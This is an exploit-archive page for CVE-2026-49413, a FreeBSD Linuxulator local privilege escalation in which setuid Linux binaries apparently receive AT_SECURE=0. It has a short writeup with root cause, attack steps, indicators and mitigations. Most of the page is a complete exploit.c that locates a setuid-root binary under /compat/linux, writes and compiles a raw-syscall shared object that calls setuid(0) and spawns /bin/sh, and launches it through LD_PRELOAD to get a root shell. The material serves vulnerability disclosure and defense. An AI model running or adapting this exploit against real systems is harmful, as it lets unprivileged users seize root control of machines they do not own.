PoC Archive PoC Archive
High CVE-2026-49413 unpatched

FreeBSD Linuxulator AT_SECURE=0 Local Privilege Escalation via LD_PRELOAD (CVE-2026-49413)

by ii4gsp · 2026-07-05

Severity
High
CVE
CVE-2026-49413
Category
binary
Affected product
FreeBSD Linux compatibility layer ("Linuxulator", linux/linux64 kernel module) executing Linux setuid-root binaries under /compat/linux/
Affected versions
Not specified in source (README is only a result screenshot)
Disclosed
2026-07-05
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / Researcherii4gsp
CVE / AdvisoryCVE-2026-49413
Categorybinary
SeverityHigh
CVSS ScoreNot specified in source
StatusPoC
Tagsfreebsd, linuxulator, at_secure, ld_preload, setuid, local-privilege-escalation, c
RelatedN/A

Affected Target

FieldValue
Software / SystemFreeBSD Linux compatibility layer (“Linuxulator”, linux/linux64 kernel module) executing Linux setuid-root binaries under /compat/linux/
Versions AffectedNot specified in source (README is only a result screenshot)
Language / PlatformC, FreeBSD (native syscalls issued directly via inline syscall instructions)
Authentication RequiredLocal-only
Network Access RequiredNo

Summary

exploit.c is a local privilege-escalation PoC targeting FreeBSD’s Linux compatibility subsystem. It detects whether the Linuxulator is loaded and glibc’s dynamic linker is present under /compat/linux/, locates a setuid-root Linux binary within that tree, and then uses LD_SHOW_AUXV to probe whether the process’s AT_SECURE auxiliary vector value is incorrectly 0 for that setuid binary. If so, the loader will honor LD_PRELOAD even though the process runs with an elevated effective UID — the PoC builds a minimal ELF shared object at runtime (raw syscall instructions with no libc), sets LD_PRELOAD to it, and re-executes the setuid target, causing its constructor to run with root’s effective UID and spawn a root shell.


Vulnerability Details

Root Cause

Linux binaries executed through FreeBSD’s Linuxulator are supposed to have AT_SECURE set to 1 whenever they are setuid/setgid, which tells the dynamic linker to ignore security-sensitive environment variables such as LD_PRELOAD. This PoC demonstrates that under the vulnerable condition, AT_SECURE is instead reported as 0 for a setuid-root Linux binary run under the compatibility layer, so glibc’s loader honors LD_PRELOAD and loads attacker-supplied code into the process before it drops privileges.

Attack Vector

  1. Confirm the Linuxulator kernel module (linux/linux64) is loaded and glibc’s ld-linux(-x86-64).so.2 is present under /compat/linux/.
  2. Enumerate common Linux setuid-root binaries under /compat/linux/ (e.g. su, sudo, passwd, pkexec, mount) and pick one that is actually setuid-root.
  3. Run that binary with LD_SHOW_AUXV=1 and inspect its stdout/stderr for the AT_SECURE value; if it is 0, the binary’s setuid dynamic linking is not hardened against environment-based code injection.
  4. Compile a minimal shared object (evil.so) at runtime whose ELF constructor executes raw syscalls (no libc dependency) to print the effective UID and, if it is 0 (root), spawn /bin/sh via execve.
  5. Set LD_PRELOAD=/tmp/.poc_evil.so and execve the vulnerable setuid-root target; because AT_SECURE was 0, the dynamic linker loads and runs evil.so’s constructor with root’s effective UID, yielding a root shell.

Impact

Local unprivileged user on a FreeBSD system with the Linuxulator enabled can escalate to root by hijacking any Linux setuid-root binary made available under /compat/linux/.


Environment / Lab Setup

Target:   FreeBSD host with the linux64 (or linux) kernel module loaded, glibc runtime installed under /compat/linux/, and at least one setuid-root Linux binary present in that tree
Attacker: Unprivileged local shell on the same FreeBSD host, a C compiler (cc) and brandelf available for building the injected shared object

Proof of Concept

PoC Script

See exploit.c in this folder.

1
2
cc -O2 -o exploit exploit.c
./exploit

The program prints environment-check results (Linuxulator loaded, glibc present, candidate setuid binary found), tests the target’s AT_SECURE value via LD_SHOW_AUXV, and — if vulnerable — compiles /tmp/.poc_evil.so, sets LD_PRELOAD to it, and re-execs the setuid-root target; if the resulting effective UID is 0, it drops into a root /bin/sh.


Detection & Indicators of Compromise

Signs of compromise:

  • A root shell spawned as a child of a Linux compatibility-layer setuid binary (su, sudo, passwd, etc.) with no corresponding legitimate admin action
  • Presence of ad hoc .so files compiled just before privilege escalation, especially under /tmp
  • Process accounting showing LD_PRELOAD set in the environment of a setuid-root process invocation

Remediation

ActionDetail
Primary fixNo vendor patch confirmed in source — the Linuxulator must correctly set AT_SECURE=1 in the auxiliary vector passed to any setuid/setgid Linux binary it executes, so glibc’s loader ignores LD_PRELOAD and other security-sensitive environment variables
Interim mitigationAvoid deploying setuid-root Linux binaries under /compat/linux/, or restrict/monitor the Linuxulator’s use on multi-user systems until patched; strip setuid bits from non-essential Linux binaries in the compatibility tree

References


Notes

Mirrored from https://github.com/ii4gsp/CVE-2026-49413 on 2026-07-05.

exploit.c
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/sysctl.h>
#include <sys/module.h>

#define EVIL_SRC "/tmp/.poc_evil.c"
#define EVIL_SO  "/tmp/.poc_evil.so"

static const char evil_src[] =
    "void _start(void){}\n"
    "__attribute__((constructor))\n"
    "void pwned(void)\n"
    "{\n"
    "    long euid;\n"
    "    __asm__ volatile(\"syscall\":\"=a\"(euid):\"a\"(107):\"rcx\",\"r11\");\n"
    "    char m1[]=\"\\n[+] evil.so: euid=\";\n"
    "    __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(m1),\"d\"(18):\"rcx\",\"r11\",\"memory\");\n"
    "    char d='0'+(euid%10);\n"
    "    __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(&d),\"d\"(1):\"rcx\",\"r11\",\"memory\");\n"
    "    char nl='\\n';\n"
    "    __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(&nl),\"d\"(1):\"rcx\",\"r11\",\"memory\");\n"
    "    if(euid==0)\n"
    "    {\n"
    "        char m2[]=\"[+] GOT ROOT! Spawning shell...\\n\";\n"
    "        __asm__ volatile(\"syscall\"::\"a\"(1),\"D\"(2),\"S\"(m2),\"d\"(31):\"rcx\",\"r11\",\"memory\");\n"
    "        __asm__ volatile(\"syscall\"::\"a\"(105),\"D\"(0):\"rcx\",\"r11\");\n"
    "        __asm__ volatile(\"syscall\"::\"a\"(106),\"D\"(0):\"rcx\",\"r11\");\n"
    "        char *s=\"/bin/sh\";\n"
    "        char *a[]={s,0};\n"
    "        __asm__ volatile(\"syscall\"::\"a\"(59),\"D\"(s),\"S\"(a),\"d\"(0):\"rcx\",\"r11\",\"memory\");\n"
    "    }\n"
    "    __asm__ volatile(\"syscall\"::\"a\"(60),\"D\"(1):\"rcx\",\"r11\");\n"
    "}\n";

static const char *suid_candidates[] = {
    "/compat/linux/usr/bin/su",
    "/compat/linux/usr/bin/sudo",
    "/compat/linux/usr/bin/passwd",
    "/compat/linux/usr/bin/chage",
    "/compat/linux/usr/bin/gpasswd",
    "/compat/linux/usr/bin/newgrp",
    "/compat/linux/usr/bin/crontab",
    "/compat/linux/usr/bin/pkexec",
    "/compat/linux/usr/bin/at",
    "/compat/linux/usr/sbin/unix_chkpwd",
    "/compat/linux/usr/lib/polkit-1/polkit-agent-helper-1",
    "/compat/linux/usr/libexec/dbus-daemon-launch-helper",
    "/compat/linux/bin/ping",
    "/compat/linux/bin/mount",
    "/compat/linux/bin/umount",
    "/compat/linux/usr/bin/ls",
    "/compat/linux/usr/bin/cat",
    "/compat/linux/usr/bin/id",
    "/compat/linux/usr/bin/env",
    "/compat/linux/bin/ls",
    "/compat/linux/bin/cat",
    NULL
};

static const char *find_suid_linux_binary(void)
{
    struct stat sb;
    int i;

    for (i = 0; suid_candidates[i]; i++)
    {
        if (stat(suid_candidates[i], &sb) == 0 && (sb.st_mode & S_ISUID) && sb.st_uid == 0)
            return suid_candidates[i];
    }

    for (i = 0; suid_candidates[i]; i++)
    {
        if (stat(suid_candidates[i], &sb) == 0)
            return suid_candidates[i];
    }
    return NULL;
}

static int check_linuxulator(void)
{
    if (modfind("linux64") >= 0 || modfind("linux") >= 0)
        return 1;

    struct stat sb;
    if (stat("/compat/linux/lib64/ld-linux-x86-64.so.2", &sb) == 0)
        return 1;

    return 0;
}

static int check_at_secure(const char *target)
{
    int pipefd[2];
    if (pipe(pipefd) < 0)
        return -1;

    pid_t pid = fork();
    if (pid < 0)
        return -1;

    if (pid == 0)
    {
        close(pipefd[0]);
        dup2(pipefd[1], STDOUT_FILENO);
        dup2(pipefd[1], STDERR_FILENO);
        close(pipefd[1]);
        setenv("LD_SHOW_AUXV", "1", 1);
        execl(target, target, "--help", NULL);
        _exit(1);
    }

    close(pipefd[1]);

    char buf[4096];
    int total = 0, n;
    while ((n = read(pipefd[0], buf + total,
                     sizeof(buf) - total - 1)) > 0)
        total += n;
    buf[total] = '\0';
    close(pipefd[0]);

    int status;
    waitpid(pid, &status, 0);

    char *p = strstr(buf, "AT_SECURE");
    if (!p)
        return -1;

    char *colon = strchr(p, ':');
    if (colon)
    {
        int val = atoi(colon + 1);
        return (val == 0) ? 0 : 1;
    }
    return -1;
}

static int build_evil_so(void)
{
    FILE *f = fopen(EVIL_SRC, "w");
    if (!f) { perror("[-] fopen"); return -1; }
    fputs(evil_src, f);
    fclose(f);

    char cmd[512];
    snprintf(cmd, sizeof(cmd),
        "cc -shared -fPIC -nostdlib -o %s %s 2>/dev/null && "
        "brandelf -t Linux %s 2>/dev/null",
        EVIL_SO, EVIL_SRC, EVIL_SO);

    if (system(cmd) != 0)
    {
        fprintf(stderr, "[-] evil.so compile failed\n");
        return -1;
    }
    chmod(EVIL_SO, 0755);
    return 0;
}

static void cleanup(void)
{
    unlink(EVIL_SRC);
}

int main()
{
    const char *target = NULL;

    printf("[*] uid=%d euid=%d pid=%d\n\n", getuid(), geteuid(), getpid());

    printf("--- Phase 1: Environment Check ---\n\n");

    int linux_loaded = check_linuxulator();
    if (linux_loaded)
    {
        printf("[+] Linuxulator: loaded\n");
    }
    else
    {
        printf("[-] Linuxulator: not loaded\n");
        printf("    This system is NOT vulnerable (linux64.ko required)\n");
        return 1;
    }

    struct stat sb;
    if (stat("/compat/linux/lib64/ld-linux-x86-64.so.2", &sb) == 0)
    {
        printf("[+] ld-linux-x86-64.so.2: present\n");
    }
    else if (stat("/compat/linux/lib/ld-linux.so.2", &sb) == 0)
    {
        printf("[+] ld-linux.so.2: present (32-bit)\n");
    }
    else
    {
        printf("[-] ld-linux: not found\n");
        printf("    glibc not installed. NOT exploitable.\n");
        return 1;
    }

    if (!target)
        target = find_suid_linux_binary();

    if (!target)
    {
        printf("[-] No Linux binary found under /compat/linux/\n");
        printf("    No setuid target available. NOT exploitable.\n");
        return 1;
    }

    if (stat(target, &sb) != 0)
    {
        printf("[-] Target not found: %s\n", target);
        return 1;
    }

    int is_suid = (sb.st_mode & S_ISUID) && sb.st_uid == 0;
    if (is_suid)
    {
        printf("[+] Target: %s (setuid-root)\n", target);
    }
    else
    {
        printf("[!] Target: %s (NOT setuid-root)\n", target);
        return 1;
    }

    printf("\n--- Phase 2: AT_SECURE Check ---\n\n");
    printf("[*] Testing AT_SECURE value via LD_SHOW_AUXV...\n");

    int at_secure = check_at_secure(target);

    if (at_secure == 0)
    {
        printf("[+] AT_SECURE = 0\n");
        printf("[+] VULNERABLE: setuid binary has AT_SECURE=0\n");
        if (is_suid)
            printf("[+] LD_PRELOAD will be honored with euid=0\n");
        else
            printf("[!] Bug confirmed but target is not setuid-root\n");
    }
    else if (at_secure == 1)
    {
        printf("[-] AT_SECURE = 1\n");
        printf("[-] SAFE: kernel correctly sets AT_SECURE (patched?)\n");
        return 0;
    }
    else
    {
        printf("[?] AT_SECURE: could not determine\n");
        printf("    LD_SHOW_AUXV output not found.\n");
        printf("    Possible: static binary or AT_SECURE=1 (not vuln)\n");
        return 1;
    }

    printf("\n--- Phase 3: Local Privilege Escalation ---\n\n");

    if (build_evil_so() != 0)
    {
        cleanup();
        return 1;
    }
    printf("[+] evil.so built: %s\n", EVIL_SO);

    printf("[*] Launching: LD_PRELOAD=%s %s\n", EVIL_SO, target);

    setenv("LD_PRELOAD", EVIL_SO, 1);
    execl(target, target, NULL);
    perror("[-] execl");
    cleanup();
    return 1;
}